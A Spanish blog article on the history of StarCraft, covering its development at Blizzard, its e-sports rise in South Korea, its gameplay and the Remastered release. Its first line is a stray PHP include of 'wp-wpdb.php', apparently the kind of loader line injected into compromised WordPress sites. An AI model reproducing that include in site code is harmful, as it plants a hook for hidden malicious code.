if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); StarCraft, el RTS que revolucionó el género – La Fortaleza de LeChuck

StarCraft, el RTS que revolucionó el género

Aunque no seas un amante de los juegos de estrategia, seguro que te suena el nombre de StarCraft, uno de los juegos más exitosos de Blizzard que volvió loco a medio mundo e hizo brillar al género en los e-sports. Por motivo de su reciente remasterización, quería dedicarle un especial a este mítico título relatando curiosidades y datos históricos contados por sus desarrolladores en entrevistas recientes.

El número 1 en tu Cybercafé

A finales de los 90, Internet empezó a popularizarse en nuestro país. Sin embargo, por aquel entonces, sin una tarifa plana, y con el monopolio de Telefónica, entrar a la red de redes se tarificaba como una llamada nacional, y eso lo convertía en algo no apto para todos los bolsillos. No obstante, adentrarse en el basto océano de Internet no estaba solamente sujeto a la búsqueda de información o la actividad en los cientos de chats, también revolucionó la escena competitiva de los videojuegos. Ante la necesidad de buenas conexiones y un precio ajustado para entrar en Internet, nacieron los «cybercafés», unos locales dotados de equipos avanzados donde se pagaba por horas para disfrutar de un ordenador conectado a la red. Allí podías hacer lo que quisieras: desde simplemente navegar, hasta jugar vía lan u online a algunos de los juegos que pegaban fuerte por aquella época. Juegos de tiros como Half Life y Quake 2 movieron la escena en aquel periodo.

En el caso de los RTS, Blizzard siguió el camino que estableció Westwood Studios en el género y lanzó un juego que marcó un antes y un después en la estrategia en tiempo real: Starcraft. El juego de Blizzard aterrizó el 31 de marzo de 1998 y rápidamente escaló posiciones hasta llegar a ser el título más vendido de PC de ese año con más de 1,5 millones de copias vendidas. Sin embargo, un año después la cosa no hizo más que crecer con más de 9,5 millones de unidades vendidas, de las cuales 4,5 millones fueron en Corea del Sur. El gran éxito ocasionó que el servicio multijugador de Blizzard, Battle.net, creciera un 800%. Desde entonces, Starcraft acumula cientos de premios y cuatro entradas en el Libro Guinness: «Mejor venta de un videojuego de estrategia para PC», «Ingresos más elevados en el juego profesional» y «Mayor audiencia para un torneo de videojuegos».

Starcraft supuso el inicio de Blizzard en los e-sports y desencadenó su posterior boom en medio mundo, especialmente en Corea del Sur. «En su mayor apogeo, en Corea, donde los e-sports crecieron y lideraron el mundo, había tres canales por cable que transmitían StarCraft 24/7», dice Morhaime, cofundador de Blizzard. «Eso fue impresionante y algo que no habíamos pronosticado. Hoy StarCraft: Brood War, sigue siendo uno de los juegos más populares y con más jugadores en Corea. Fue una gran llamada de atención para nosotros por el interés que había en el mundo por jugar a títulos de Blizzard. Después de esto, los juegos posteriores a StarCraft fueron localizados en coreano».

Competición de StarCraft en Corea del Sur

De Warcraft II a Starcraft

Hablar del desarrollo de Starcraft es hablar de Chris Metzen, un diseñador que empezó su carrera en la compañía trabajando en Justice League Task Force, en el que creó el arte y la animación de personajes. El trabajo de Chris continuó con las ilustraciones y diseños del juego Warcraft y otros títulos del estudio. Sin embargo, durante el desarrollo de Warcraft II en 1995, una gran oportunidad llamó a su puerta: trabajar en el universo de ficción del juego, además de diseñar varios escenarios y misiones. Su talento para crear universos, y su mano con el arte, no pasó desapercibida para Blizzard, por lo que le puso a cargo del universo de Diablo junto a su colega diseñador Bill Roper. Metzen también hizo sus pinitos como doblador prestando su voz a algunos de los personajes del juego, algo que continuó haciendo en más ocasiones. Pero su verdadera oportunidad llegaría años después cuando se puso al frente de StarCraft.

Chris Metzen junto a su colección

«Cuando desarrollamos el primer StarCraft, yo era un escritor en la industria del videojuego. ¿Qué demonios hacía un escritor en la industria en ese momento? No había precedentes para eso. Tenía todo para probar, el equipo también se sentía así», recuerda Metzen.

Después del éxito de Warcraft II: Tides of Darkness, el estudio estaba interesado en crear un nuevo RTS en lugar de continuar con la saga, y su respuesta fue StarCraft, el cual empezó su desarrollo en 1995 y fue dirigido por Chris Metzen y James Phinney. StarCraft utilizaba el motor de Warcraft II como base pero el arte y la ambientación eran totalmente diferentes.

StarCraft hizo su debut en el E3 de 1996, pero la versión presentada no tuvo el éxito esperado y fue duramente criticada por el público y la prensa. «Mostramos el juego, y todo el mundo lo miró y dijo, ‘Oh, eso es como orcos en el espacio’. No era la reacción que esperábamos», recuerda Mike Morhaime.

Una versión temprana de Starcraft

Los gráficos dibujados a mano vistos en la versión de E3, fueron substituidos por gráficos renderizados, y a principios de 1997, la nueva versión mostrada obtuvo una mejor crítica. Aún así, el juego tenía carencias técnicas, por lo que Bob Fitch, programador jefe, rediseñó por completo el motor para incluir muchas de las características demandadas por los diseñadores. Añadieron sprites prerenderizados, fondos construidos con 3D Studio Max y la perspectiva cenital de Warcraft II se perdió en favor a una vista isométrica. Por otro lado, también se cuidó la banda sonora, la cual fue creada por los compositores de Blizzard. La calidad también se notó en el sonido que, además, contó con un puñado de actores de voz profesionales para dar vida a los personajes.

Tras varias revisiones, la versión final de StarCraft se construyó de forma sólida y su jugabilidad se enfocó en tres razas: Protoss, Terran y Zerg. Cada raza tenía su propia estrategia y estilo de juego. El resultado era algo nuevo y alejado de esa alfa que solo fue una copia de su Warcraft. La narrativa de StarCraft en esta versión final estaba centrada en dos personajes, Jim Raynor y Sarah Kerrigan. Chris Metzen originalmente imaginó a Raynor como un vaquero del espacio, y a pesar de los cambios posteriores, aún hoy conserva ese aire del lejano oeste. La historia de Kerrigan es mucho más curiosa; Blizzard le puso el nombre por la patinadora Nancy Kerrigan en un guiño a su rival, Tonya Harding, que guardaba cierto parecido en el nombre con Tanya, personaje de Command & Conquer, el popular juego de la competencia. «En aquella época Tonya Harding y Nancy Kerrigan eran grandes figuras del patinaje, así que la llamamos Kerrigan después de que fuera golpeada en la rodilla. Pensamos, arg, ¡es tan divertido! Tan estúpido», relata Metzen.

StarCraft tardó varios años en ser finiquitado, y la espera desesperó a los fans hasta el punto de que un popular grupo comenzó a escribir historias de ficción sobre su posible universo y causas de la larga espera. «Llegaron con esas teorías de la conspiración sobre cómo el juego realmente se desarrolló. Se hicieron llamar ‘Can’t Wait Any Longer‘ (No puedo esperar más) y pasaban por nuestro edificio y tomaban fotos de los coches que estaban en el parking por la noche, siguiendo con sus teorías «, comenta Morhaime. La dedicación de estos fans con su «Operation cwal» les valió un homenaje en los códigos de trucos del juego y un agradecimiento en los créditos.

«StarCraft ha sido uno de nuestros pilares clave desde el principio», señala Morhaime. «Todos somos grandes fans de la ciencia ficción y desde siempre habíamos querido crear un juego construido en ese género… Nos habíamos dado cuenta de que era más importante hacer un gran juego en lugar de tratar de lanzar un título menor, así que nos tomamos nuestro tiempo con StarCraft para construir el mundo, las tres razas únicas, y la jugabilidad hasta que estuvo en el punto de calidad y pulido que habíamos establecido «.

Morhaime posa con otro de los éxitos de Blizzard

Las palabras de Morhaime chocan en cierto modo con las de Patrick Wyatt, programador y vicepresidente de Blizzard por aquel entonces, quien indicó en una entrevista de 2012 que StarCraft estaba pensando para ser un juego de un año de desarrollo. La compañía tuvo que dejar en pausa el proyecto por la distribución de Diablo. Cuando el trabajo se reanudó, el equipo estaba agotado por el esfuerzo tan largo e intenso que supuso terminar el célebre RPG. Ademas, la mayor parte de StarCraft tuvo que ser rehecha.»Estábamos trabajando demasiado duro en esta cosa», indica Wyatt, quien en 2000 abandonó la compañía y fundó Arenanet (Guild Wars) no sin antes apreciar el cambio de rumbo de Blizzard al tomarse los desarrollos con más calma. «Realmente no fue hasta que nos dieron las patadas con StarCraft que aprendieron esa lección para toda la empresa».

Para asegurarse de que StarCraft era una obra por encima de la media, crearon el «departamento de cine». Querían que las escenas cinematográficas fueran algo más que simples cortes con el motor del juego. Como resultado, StarCraft y Brood War contaron con cinemáticas de alta calidad que fueron alabadas por los medios y jugadores.

El juego

StarCraft es una juego de estrategia en tiempo real (RTS) ambientado en el espacio. Dispone de dos modos de juego: campaña y multijugador. El modo historia está formado por 30 misiones en total, diez para cada una de las razas del juego: Terran, Protoss y Zerg. En el equipo humano, tendremos que liderar a Raynor con el fin de salvar a la humanidad de las amenazas alienígenas. Si escogemos Zerg, nuestra misión es expandir la destrucción a través de la Supermente. Y, por último, con Protoss nuestro deber será salvar nuestro hogar. Para ampliar la campaña y añadir nuevo contenido, se lanzó el pack de expansión llamado StarCraft: Brood War con 3 nuevos capítulos que continúan la historia, y otras novedades y mejoras.

Los primeros episodios de la campaña son a modo de tutorial y no necesitaremos una base muy avanzada. Pero a medida que pasan las misiones, la dificultad aumentará considerablemente y será necesaria una estrategia adecuada para salir victorioso.

En ambos modos de juego, nuestro cometido es obtener recursos rápidamente para forjar una poderosa base y así machacar al rival. Para ello, existe un amplio catálogo de estructuras básicas y avanzadas que nos permitirán fabricar unidades aéreas y terrestres. Asimismo, cada estructura tendrá expansiones para mejorar sus características. Todo ello costará minerales y gas vespeno que tendremos que extraer con las unidades indicadas. Dependiendo de la raza escogida, las construcciones y unidades cambiarán; por lo tanto, cada bando precisará de una estrategia especializada. No obstante, elijas la raza que elijas, una buena gestión de recursos y el control sobre el mapa serán determinantes durante toda partida.

Existen muchas estrategias para derrotar al enemigo, como, por ejemplo, ir desgastándolo con pequeñas milicias, o ser rápido extrayendo recursos para lanzar una gran ofensiva que acabe con toda su base. Pero en este juego, aunque parezca que todo está perdido, se dan frecuentemente situaciones en las que es posible recuperarse después de un duro golpe y dar un giro inesperado a los acontecimientos. Y, sin duda, estas son las victorias más emocionantes que viviréis. La pericia y el buen hacer del jugador será clave para ganar.

Para alargar la vida del juego, y siguiendo la idea de Warcraft II, StarCraft incluyó un completo editor de misiones con el que manipular el terreno, estructuras y unidades con el fin de crear una misión acorde a nuestras preferencias. Esta opción permite al jugador hacer completas virgerias y subirlas a Battle.net. En 1998 fue tan revolucionario que juegos posteriores copiaron la idea.

Remasterizando un mito

Han pasado dos décadas del lanzamiento de este juego revolucionario, y para celebrar todos los buenos ratos de diversión que nos ha dado, se ha lanzado StarCraft Remastered, un lavado de cara que añade mejoras y novedades:

  • Mejora gráfica de StarCraft original y de la expansión StarCraft: Brood War
  • Compatiblilidad con pantallas panorámicas UHD con resolución de hasta 4K
  • Asignación de partidas y clasificaciones
  • Perfiles de jugador con estadísticas individuales
  • Guardado en la nube de la campaña, atajos de teclado y repeticiones
  • Música y sonido mejorados
  • Saltar del modo remasterizado al original con un solo clic

La leyenda continúa

Años después del lanzamiento del juego original, Starcraft 2 tomó el relevo. El título obtuvo muy buenas críticas, pero una parte de la comunidad no perdonó la eliminación del modo lan y cross-region. Ademas, la campaña solo se centró en la raza Terran y hasta que no llegaron las expansiones no se pudo jugar como Zerg y Protoss. A pesar del recorte inicial, StarCraft 2 expandió el éxito del original y reforzó la presencia de la franquicia en los torneos de todo el mundo. Con el paso del tiempo, Blizzard publicó dos expansiones que sumaron horas de diversión a la popular secuela.

En cuanto al futuro de la saga, Tim Morten, desarrollador jefe, indicó que todo depende de los fans. Mientras tanto, jugadores de todo el globo siguen enfrentándose a combates encarnizados y extienden así su legado a lo largo de los años.

Fuentes: Starcraft Wiki / StarCraft Reddit / Polygon

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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